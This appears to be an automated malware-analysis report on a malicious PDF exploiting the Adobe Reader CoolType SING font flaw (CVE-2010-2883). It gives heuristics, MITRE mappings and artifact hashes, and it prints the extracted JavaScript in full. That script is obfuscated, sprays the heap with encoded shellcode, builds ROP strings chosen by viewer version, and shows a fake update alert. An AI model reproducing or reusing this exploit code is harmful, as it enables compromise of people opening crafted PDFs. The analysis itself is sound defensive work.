MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF contains embedded JavaScript and utilizes the CVE-2010-2883 exploit targeting Adobe Reader's CoolType SING font parsing. The JavaScript is obfuscated but uses `unescape` and appears to construct a URL, likely for downloading a secondary payload. The presence of XFA forms and AcroForm buttons suggests interactive elements designed to trigger the exploit.
Machine Learning
- Nyx PDF Classifier malicious score 0.9937
Heuristics 9
-
Adobe Reader CoolType SING font exploit — CVE-2010-2883 critical CVE likely CVE_2010_2883PDF embeds a TrueType/OpenType font with an actual SING table and pairs it with JavaScript heap-spray shellcode. This matches the public Adobe Reader CoolType SING exploit shape for CVE-2010-2883.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
XFA form low PDF_XFAPDF uses XML Forms Architecture — can contain script logic
-
AcroForm button with action trigger low PDF_ACROFORM_BUTTONPDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
-
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILEDThe cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: AssertionError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.bitstream.com In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xfa/promoted-desc/In PDF document text
- http://ns.adobe.com/xdp/In PDF document text
- http://www.xfa.org/schema/xci/2.6/In PDF document text
- http://www.xfa.org/schema/xfa-template/2.6/In PDF document text
- http://www.xfa.org/schema/xfa-locale-set/2.7/In PDF document text
- http://www.xfa.org/schema/xfa-locale-set/2.6/In PDF document text
- http://www.xfa.org/schema/xfa-form/2.8/In PDF document text
- http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
Extracted artifacts 7
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0026_000.js |
pdf-javascript-stream | PDF /JS object 26 at offset 0x47BF | 9663 bytes |
SHA-256: 1a5d1977beaa0cc0b6451de1d06695d971caaa74dae808216ea03238c520bffa |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var Juaidai = 12;
var Tolbqnpp = "";
function Vnyhayduv(Gklcbtj,times){
Ipugpqlbvtw = ""
var Otdwcwgpeznj;
var Juaidai = 723;
for (Otdwcwgpeznj=0;Otdwcwgpeznj<times;Otdwcwgpeznj++){
Juaidai = 1;
Ipugpqlbvtw = Ipugpqlbvtw + Gklcbtj;
}
return Ipugpqlbvtw;
}
function Oovachwigu(Jxapyyyksdkd){
var Juaidai = 12;
return unescape(Jxapyyyksdkd);
}
var Pimfmtggbh = Tolbqnpp+"&%!".charAt(1)+Tolbqnpp;
Pimfmtggbh = Tolbqnpp + Pimfmtggbh + Tolbqnpp+"u"+Tolbqnpp;
Vbiiclkvlyyl = "M01ebM75ebM7403Me801M39ebMb801M0000M12ebM4405M5510Mb8edM1044M0040Mefe9MffffMebffMe801M8b5eM830eM04c6Mfe8bM1c8bMac0eM0375M0174Mc0e8M06c8M0375M0174M32e8Maac3M7449Meb17MfceaMc933M01ebMbe02M00ebM0000Me890Mffb7MffffM0564M0000M5cebMde85Mb885Mbe7fM6abeM6b2bMd75eM40bfM4141Mc4beMbf41MbebeMef5dM5c87M87efMdfdcM8080M4141Mb684MbebfM41beMb5dbM4140Mdc41Ma1dfM4140M5e41Ma3d7M4140Mbe41Mfd44Mdf5cM40a3M4141MdcaeMa3dfM4140Mde41Ma3d1M4140Mbe41Mbe3eMe1beM5ea0Mbfd1M4140Mbe41Mb8a3Mdf5cM40a1M4141M537dM5ebeM3680M3ce3Mdf5cM40a1M4141M5e27Mbeb6Mdf5cM40a1M4141M537dM5ebeMb680M33e3Mdf5cM40a1M4141M537dM3eaeM805eMe336M5c77Ma1dfM4140M5e41Mbf8eMdfdcM40baM4141Mdf5cM40baM4141MdfdcM40a1M4141Mdf4fM40bfM4141MbefeMbebeM3d44Mdf5cM40a1M4141MaeaeMdfdcM40a1M4141M65c4M4141Mdd41M9bdfM41c1Maa41Mbfa4MbefeM41beMb3dbM4140Mdc41M99efMdfddMc19bM4141MddaaM81dfM4180Maa41Mdb41M40b0M4141Mef5cM2799M9f4fM81efM4180Mf541M5cbeM99efM5e27Mef97M8001M4141M24beMddbeM81dfM4180Maa41Md341M40baM4141Mdb41M40b1M4141Mbe24M9ea4MbebeM24beM247eM24beMa47eMbebeM8ebeMdfddM8081M4141M41aaMb2dbM4140Mdc41MbfdfM4140M2441M24beM24beM24beM24bcM41beMbfd3M4140M4141Mb7dbM4140Mdc41M83dfM4180M2441M24beM24beM24beM41feM83d3M4180M4141Mb4dbM4140Mdc41M9edfM4140Mdd41M9bdfM41c1Maa41MdfddM8081M4141M41aaMb0dbM4140M5c41M99efM4f27Mef9fM8081M4141Mbe21Mef5cM2799M975eM01efM4180Mbe41Mbe24M9ea4MbebeM24beM243eM24beMa47eMbebeMaebeMdfddM8081M4141M41aaMb2dbM4140Mdc41MbcdfM4140M2441M41beMbfd3M4140M4141Mb6dbM4140Mdc41M85efMef5cM5c85M9eddM4140Mdd41MfeafMdc8bM80dfM4180M5c41M80dfM4180M5c41Mb9aeMdfdcM40bbM4141Mdf5cM8080M4141Mae5cMdcb6M85efMdf5cM8080M4141Mbe5cMdfdcMc19dM4141Mdf1cMc19dM4141Mdf9cM40bdM4141Mdf5cM409eM4141Mdf7eM40bbM4141MdfdcMc19aM4141Md75eM40a0M4141M44beM5cfdMa0dfM4140Mae41MdfdcM40a0M4141Mdf5cM40a0M4141Mef70M7d85M1e5eMbebeM5cbeM9adfM41c1M1c41M9cbeMb8dfM4140M7d41Mdf13M40b8M4141M8edfM6ba3M137dMb8dfM4140Mf141Mbe41MbebeMeca3M137dMb8dfM4140M7d41Mdd13M40bdM4141Mce72Mdf9cM40b8M4141M137dMb8dfM4140Mdf41Ma38eM7db4Mdf13M40b8M4141M41f1MbebeMa3beM5c38M9adfM41c1M7d41Mbe13M137dMbdddM4140M7241M5cceM9addM41c1M9c41M5cfeM9adfM41c1Mae41MdfdcMc19aM4141M26c4M4141M2441MddbeM9ddfM41c1Maa41Me341M5c85M9edfM4140M7e41MbbdfM4140Maa41Md341M40bcM4141Mdb41M40aaM4141Md341M40bcM4141Mdb41M40adM4141Md341M409eM4141Mdb41M40aeM4141Md341M8083M4141Mdb41M40adM4141Md341M40bfM4141Mdb41M40adM4141Me75eMbe96Mba24M72e8Mdd8eM97e1M5442Me75eMbe82M8e72Me1ddM5483M5454Mef4fMaf96MbebeM4fbeM8defMbefeMbebeM5e27M8ae7M9ebeMb9d7M4140Mbe41M8e72Md1ddM40f9M4141M9e14M84e7M72beMdd8eMc4e1Mdd14Mb9dfM4140Mdc41M9edfM4140M5c41M9edfM4140M0f41Mb6beMdf5cM409eM4141Ma69eMbefeMdf5cM409eM4141Ma69eMbe3eMdf5cM409eM4141Ma69eMbe7eMefddMdc84M9edfM4140M5c41M9edfM4140M0f41M36beMdf5cM409eM4141Ma69eMbefeMdf5cM409eM4141Ma69eMbe3eMdf5cM409eM4141Ma69eMbe7eMefddMaa84MdfddM409fM4141M41aaMb0dbM4140M4141Mbad3M4140Mdd41M9fdfM4140Maa41Mdb41M40a7M4141MefddMaa84MdfddM409fM4141M41aaMa7dbM4140Mdd41M82efMddaaM96efM24aaM24beM24beM24beM24beM24beMddbeM9fdfM4140Maa41MdfddM8081M4141M41aaMa9dbM4140M2441M41beMa6dbM4140M5e41Ma2d7M4140Mbe41Mfd44Mdf5cM40a2M4141MdcaeMa2dfM4140M5e41Ma2d1M4140M3a41Mdd7dMbe97MbebeMdf5cM8080M4141Mbe5cMdfdcM8084M4141Mdf5cM40a2M4141M9fddMb6dfM4140Mdc41M85dfM4180M5e41M82d7M4180Mbe41Ma7a6Mfb5cMbeb2MbebeM2e5cM5cbdMb9a2M5cd5Mbca0M6f5cM5cb1M7fabM7ea0Mdc4bM82dbM4180M5c41Mb628M497eMcc72M5ceeM5cb3M437eM7dd8M3f11M8f30Mbca3M0cceM7e7fM2f8aMc244Mdb70M8084M4141M06e3Mdb5cM8082M4141M285cM7eb7M2749Mbd5cM5c6cMb928M497eMbf5cM7e5cM5c4fM85d9M4180Mdc41Me67eMdf5cM8080M4141M8e5eMdcbfM80dfM4180Mc441M412eM4141Mbbc4M4140M4441M8401M0081M4141M7a1dM953cMf888Mfe6cM82e1M18d7M5fd2Mc75cM32d4M9b87M066dM5ee1M791fM9ad0M7d4fM7f44M012aM0857Ma3acMbddaM49dfM5055M276bM41fdMdd8fMa379M3312M7a7dM116eM4895M9149M6417Mdc66M6dcaM791fM1fe1M00faM0000" ;
var Enchfcuvtwn = (app.viewerVersion / 10.0);
Vbiiclkvlyyl = Vbiiclkvlyyl.replace(/M/g,Pimfmtggbh);
var Ycjygwhscgnv = this;
Vbiiclkvlyyl = Oovachwigu(Vbiiclkvlyyl);
function Htbcdm(Vbiiclkvlyyl,Bzubmlxlbf,Bkesxwjtsb){
var Olalun = 1024;
var Saqytin = Vnyhayduv(Bzubmlxlbf,Olalun);
var Uipcwelcwl = Vnyhayduv(Bzubmlxlbf,Olalun-(Vbiiclkvlyyl.length/2))+Vbiiclkvlyyl;
var FvzlbcjckcfOfFirstEntry = Vnyhayduv(Bzubmlxlbf,Olalun-18);
var FvzlbcjckcfOfOtherEntry = Vnyhayduv(Bzubmlxlbf,Olalun-11);
var Vxcuul = [];
for( Otdwcwgpeznj = 0; Otdwcwgpeznj < 16-2; Otdwcwgpeznj++ ){
Vxcuul.push( Saqytin );
}
Vxcuul.push(Uipcwelcwl);
var Lvxgmunsmebw = Vxcuul.join("");
Ycjygwhscgnv.Hpedba = new Array();
var Wafaue = 0;
for( Otdwcwgpeznj = 0; Otdwcwgpeznj < Bkesxwjtsb; Otdwcwgpeznj++ ){
if (Otdwcwgpeznj == 0){
Ycjygwhscgnv.Hpedba[Otdwcwgpeznj] = FvzlbcjckcfOfFirstEntry+Lvxgmunsmebw;
} else{
Ycjygwhscgnv.Hpedba[Otdwcwgpeznj] = FvzlbcjckcfOfOtherEntry+Lvxgmunsmebw;
}
}
}
Uzwnncyhd = "M4142M4241";
Uzwnncyhd = Uzwnncyhd.replace(/M/g,Pimfmtggbh);
Uzwnncyhd = Oovachwigu(Uzwnncyhd);
if ( app.platform == "WIN" ){
if ( Enchfcuvtwn <= 0.5999 ) {
app.alert("Please update your PDF viewer software.");
} else if ( Enchfcuvtwn <= 0.6999999999 ) {
global.Mvckuabj = Vnyhayduv(Uzwnncyhd,500)+Vbiiclkvlyyl;
Ycjygwhscgnv.pageNum = 11;
} else if ( Enchfcuvtwn <= 0.7999999999 ) {
global.Mvckuabj = Vnyhayduv(Uzwnncyhd,500)+Vbiiclkvlyyl;
Ycjygwhscgnv.pageNum = 12;
} else if ( Enchfcuvtwn <= 0.8999999999 ) {
Lfobubh = "";
Lfobubh = Lfobubh +"M17f2M4a82M5000M4a84M630fM4a80M7ec9M4a";
Lfobubh = Lfobubh +"81M203cM4a82M57bcM4a80M156aM4a82M54e0M";
Lfobubh = Lfobubh +"4a82M0000M1000M0000M0000M0000M0000M000";
Lfobubh = Lfobubh +"2M0000M0102M0000M0000M0000M17f2M4a82M1";
Lfobubh = Lfobubh +"56aM4a82Mfe83M4a81Me982M4a81M0008M0000";
Lfobubh = Lfobubh +"M597dM4a80M7ec9M4a81M2038M4a82M57bcM4a";
Lfobubh = Lfobubh +"80M156aM4a82MffffMffffM0000M0000M0040M";
Lfobubh = Lfobubh +"0000M0000M0000M0000M0001M0000M0000M17f";
Lfobubh = Lfobubh +"2M4a82M156aM4a82Mfe83M4a81Me982M4a81M0";
Lfobubh = Lfobubh +"008M0000M597dM4a80M7ec9M4a81M2030M4a82";
Lfobubh = Lfobubh +"M57bcM4a80M156aM4a82MffffMffffM0022M00";
Lfobubh = Lfobubh +"00M0000M0000M0000M0000M0000M0001M17f2M";
Lfobubh = Lfobubh +"4a82M5004M4a84M630fM4a80M17f2M4a82M156";
Lfobubh = Lfobubh +"aM4a82Mfe83M4a81Me982M4a81M0030M0000M5";
Lfobubh = Lfobubh +"97dM4a80M7ec9M4a81M5004M4a84Ma649M4a81";
Lfobubh = Lfobubh +"M17f2M4a82M156aM4a82Mfe83M4a81Me982M4a";
Lfobubh = Lfobubh +"81M0020M0000M597dM4a80M17f2M4a82M156aM";
Lfobubh = Lfobubh +"4a82M00a0M4a82M7ec9M4a81M0034M0000M795";
Lfobubh = Lfobubh +"aM4a80M17f2M4a82M156aM4a82Mfe83M4a81Me";
Lfobubh = Lfobubh +"982M4a81M000aM0000M597dM4a80M7ec9M4a81";
Lfobubh = Lfobubh +"M2140M4a82M57bcM4a80MffffMffffMffffMff";
Lfobubh = Lfobubh +"ffMffffMffffM1000M0000M258bM5000M4a84M";
Lfobubh = Lfobubh +"4d4d";
Lfobubh = Lfobubh.replace(/M/g,Pimfmtggbh);
Lfobubh = Oovachwigu(Lfobubh);
Djcxdzbvuhef = "";
Djcxdzbvuhef = Djcxdzbvuhef +"M12c4M4a80";
Djcxdzbvuhef = Djcxdzbvuhef.replace(/M/g,Pimfmtggbh);
Djcxdzbvuhef = Oovachwigu(Djcxdzbvuhef);
Htbcdm(Lfobubh + Vbiiclkvlyyl,Djcxdzbvuhef,2000);
Ycjygwhscgnv.pageNum = 13;
} else if ( Enchfcuvtwn <= 0.9999999999 ) {
Nircgsipef = "";
Nircgsipef = Nircgsipef +"M63a5M4a80M0000M4a8aM2196M4";
Nircgsipef = Nircgsipef +"a80M1f90M4a80M903cM4a84Mb69";
Nircgsipef = Nircgsipef +"2M4a80M1064M4a80M22c8M4a85M";
Nircgsipef = Nircgsipef +"0000M1000M0000M0000M0000M00";
Nircgsipef = Nircgsipef +"00M0002M0000M0102M0000M0000";
Nircgsipef = Nircgsipef +"M0000M63a5M4a80M1064M4a80M2";
Nircgsipef = Nircgsipef +"db2M4a84M2ab1M4a80M0008M000";
Nircgsipef = Nircgsipef +"0Ma8a6M4a80M1f90M4a80M9038M";
Nircgsipef = Nircgsipef +"4a84Mb692M4a80M1064M4a80Mff";
Nircgsipef = Nircgsipef +"ffMffffM0000M0000M0040M0000";
Nircgsipef = Nircgsipef +"M0000M0000M0000M0001M0000M0";
Nircgsipef = Nircgsipef +"000M63a5M4a80M1064M4a80M2db";
Nircgsipef = Nircgsipef +"2M4a84M2ab1M4a80M0008M0000M";
Nircgsipef = Nircgsipef +"a8a6M4a80M1f90M4a80M9030M4a";
Nircgsipef = Nircgsipef +"84Mb692M4a80M1064M4a80Mffff";
Nircgsipef = Nircgsipef +"MffffM0022M0000M0000M0000M0";
Nircgsipef = Nircgsipef +"000M0000M0000M0001M63a5M4a8";
Nircgsipef = Nircgsipef +"0M0004M4a8aM2196M4a80M63a5M";
Nircgsipef = Nircgsipef +"4a80M1064M4a80M2db2M4a84M2a";
Nircgsipef = Nircgsipef +"b1M4a80M0030M0000Ma8a6M4a80";
Nircgsipef = Nircgsipef +"M1f90M4a80M0004M4a8aMa7d8M4";
Nircgsipef = Nircgsipef +"a80M63a5M4a80M1064M4a80M2db";
Nircgsipef = Nircgsipef +"2M4a84M2ab1M4a80M0020M0000M";
Nircgsipef = Nircgsipef +"a8a6M4a80M63a5M4a80M1064M4a";
Nircgsipef = Nircgsipef +"80MaedcM4a80M1f90M4a80M0034";
Nircgsipef = Nircgsipef +"M0000Md585M4a80M63a5M4a80M1";
Nircgsipef = Nircgsipef +"064M4a80M2db2M4a84M2ab1M4a8";
Nircgsipef = Nircgsipef +"0M000aM0000Ma8a6M4a80M1f90M";
Nircgsipef = Nircgsipef +"4a80M9170M4a84Mb692M4a80Mff";
Nircgsipef = Nircgsipef +"ffMffffMffffMffffMffffMffff";
Nircgsipef = Nircgsipef +"M1000M0000M258bM0000M4a8aM4";
Nircgsipef = Nircgsipef +"d4d";
Nircgsipef = Nircgsipef.replace(/M/g,Pimfmtggbh);
Nircgsipef = Oovachwigu(Nircgsipef);
Zxwhjjr = "";
Zxwhjjr = Zxwhjjr +"M1064M4a80";
Zxwhjjr = Zxwhjjr.replace(/M/g,Pimfmtggbh);
Zxwhjjr = Oovachwigu(Zxwhjjr);
Htbcdm(Nircgsipef + Vbiiclkvlyyl,Zxwhjjr,2000);
Ycjygwhscgnv.pageNum = 14;
} else{
app.alert("Please update your PDF viewer software.");
}
}else{
app.alert("Please update your PDF viewer software.");
}
|
|||
font_00_cff_off00003a54.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x3A54 | 1138 bytes |
SHA-256: ea8f409c7366ed46eeb553aa7b404f04641f482ba88463fbe253da60be5787e5 |
|||
font_01_sfnt_off000070c8.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x70C8 | 8084 bytes |
SHA-256: e31f8c8507e52f29008d946a00becde9f839e34cb108985ce66167bf881adafa |
|||
font_11_sfnt_off000149fa.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x149FA | 65932 bytes |
SHA-256: 422bc5698ba5d9d4818f6a2d8b3abca2f723e713b44a15c390139d2c976a1388 |
|||
font_12_sfnt_off0001e85c.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x1E85C | 65932 bytes |
SHA-256: 7e24ee16c8b09ee74d61445f29c3c0a95abfdf17fc1008606394f159dbd0c106 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
font_13_sfnt_off000286ba.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x286BA | 65932 bytes |
SHA-256: 57e24925bc6bdb98d38e8b4ba3b87f80f75c5e49ea9a522486790d7dc6848549 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
font_14_sfnt_off000324e1.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x324E1 | 65932 bytes |
SHA-256: 1f068d668b316fcb46f0801be00137fb749cc7fda5ca15e442829d6c303d8f99 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.